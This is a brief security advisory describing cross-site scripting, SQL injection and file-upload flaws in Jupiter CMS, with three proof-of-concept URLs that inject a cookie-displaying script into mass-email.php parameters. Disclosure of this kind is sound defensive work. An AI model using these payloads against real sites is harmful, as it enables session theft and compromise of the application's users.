source: http://www.securityfocus.com/bid/20048/info
   
Jupiter CMSA is prone to multiple input-validation vulnerabilities, including cross-site scripting, SQL-injection, and arbitrary file-upload issues, because the application fails to sanitize user-supplied input. 
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, exploit vulnerabilities in the underlying database implementation, or upload and execute arbitrary files within the webserver process. Other attacks are also possible.
  
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20title]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc]=<script>alert(document.cookie);</script> 
http://www.example.com/modules/mass-email.php?language[Mass-Email%20form%20desc2]=<script>alert(document.cookie);</script>